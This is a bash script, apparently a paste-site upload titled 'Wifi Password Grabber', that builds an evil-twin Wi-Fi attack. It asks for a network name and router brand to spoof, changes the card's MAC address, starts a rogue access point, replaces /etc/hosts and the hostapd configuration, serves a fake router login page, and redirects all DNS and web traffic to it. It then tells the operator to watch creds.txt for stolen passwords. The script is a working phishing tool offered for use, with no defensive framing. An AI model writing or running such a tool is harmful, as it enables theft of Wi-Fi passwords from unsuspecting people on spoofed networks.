Wifi_Password_Grabber.sh 3.4 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117
  1. #!/bin/bash
  2. # Color variables
  3. red='\033[0;31m'
  4. green='\033[0;32m'
  5. yellow='\033[0;33m'
  6. blue='\033[0;34m'
  7. magenta='\033[0;35m'
  8. cyan='\033[0;36m'
  9. # Clear the color after that
  10. clear='\033[0m'
  11. cat << "EOF"
  12. __ ___ __ _
  13. \ \ / (_)/ _(_)
  14. \ \ /\ / / _| |_ _
  15. \ \/ \/ / | | _| |
  16. \ /\ / | | | | |
  17. ___\/ \/ |_|_| |_| _
  18. | __ \ | |
  19. | |__) |_ _ ___ _____ _____ _ __ __| |
  20. | ___/ _` / __/ __\ \ /\ / / _ \| '__/ _` |
  21. | | | (_| \__ \__ \\ V V / (_) | | | (_| |
  22. |_|___\__,_|___/___/ \_/\_/ \___/|_| \__,_|
  23. / ____| | | | |
  24. | | __ _ __ __ _| |__ | |__ ___ _ __
  25. | | |_ | '__/ _` | '_ \| '_ \ / _ \ '__|
  26. | |__| | | | (_| | |_) | |_) | __/ |
  27. \_____|_| \__,_|_.__/|_.__/ \___|_|
  28. EOF
  29. echo ""
  30. echo -e ${green}"Which interface do you want to use as your AP NIC? Example: wlan1"${clear}
  31. echo ""
  32. read AP
  33. sleep 1
  34. echo ""
  35. echo -e ${yellow}"Using $AP as your AP interface"${clear}
  36. echo ""
  37. echo -e ${green}"What is the Wifi network you want to spoof? Example: Starbucks Wifi"${clear}
  38. echo ""
  39. read SSID
  40. sleep 1
  41. echo ""
  42. echo -e ${yellow}"Using $SSID as your spoofed network"${clear}
  43. sleep 1
  44. echo ""
  45. echo -e ${green}"What is the router company you want to spoof on your network? Example: NetGear"${clear}
  46. echo ""
  47. read router
  48. sleep 1
  49. echo ""
  50. echo -e ${yellow}"Using $router as your spoofed company"${clear}
  51. sleep 1
  52. echo ""
  53. echo -e ${green}"What is the router company's domain you want to spoof on your network? Example: netgear.com"${clear}
  54. echo ""
  55. read domain
  56. sleep 1
  57. echo ""
  58. echo -e ${yellow}"Using $domain as your spoofed company"${clear}
  59. sleep 1
  60. cp Resources/hosts . 2>/dev/null
  61. cp Resources/hostapd.conf . 2>/dev/null
  62. cp Resources/router.html . 2>/dev/null
  63. cp Resources/router.php . 2>/dev/null
  64. cp Resources/index2.html . 2>/dev/null
  65. sed -i "s/SSID/${SSID}/g" router.html
  66. sed -i "s/AP/${AP}/g" hostapd.conf
  67. sed -i "s/SSID/${SSID}/g" hostapd.conf
  68. sed -i "s/domain/${domain}/g" router.php
  69. sed -i "s/domain/${domain}/g" index2.html
  70. sed -i "s/domain/${domain}/g" hosts
  71. rm /etc/hostapd/hostapd.conf 2>/dev/null
  72. mv hostapd.conf /etc/hostapd/hostapd.conf
  73. mv router.html /var/www/html
  74. mv index2.html /var/www/html/redirect/index.html
  75. mv router.php /var/www/html/
  76. mv hosts /etc/hosts
  77. echo ""
  78. echo -e ${green}"Changing $AP MAC Address"${clear}
  79. echo ""
  80. ifconfig $AP down
  81. macchanger -A $AP
  82. sleep 1
  83. ifconfig $AP up
  84. sleep 1
  85. echo ""
  86. echo -e ${green}"Configuring $AP Into An Access Point"${clear}
  87. echo ""
  88. hostapd -B /etc/hostapd/hostapd.conf
  89. sleep 2
  90. echo ""
  91. echo -e ${green}"Bringing Up The Bridge"${clear}
  92. echo ""
  93. ifconfig br0 up
  94. sleep 2
  95. ifconfig br0 10.1.1.1 netmask 255.255.255.0
  96. sysctl net.ipv4.ip_forward=1
  97. echo ""
  98. echo -e ${green}"Setting IPTables"${clear}
  99. iptables --flush
  100. iptables -t nat --flush
  101. iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
  102. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
  103. iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:443
  104. iptables -t nat -A POSTROUTING -j MASQUERADE
  105. sleep 2
  106. echo ""
  107. echo -e ${green}"Starting Rouge DNS"${clear}
  108. systemctl start dnsmasq
  109. sleep 4
  110. echo ""
  111. echo -e ${red}"Access Point Should Be Up. Watch /var/www/html/creds.txt For Creds"${clear}
  112. echo ""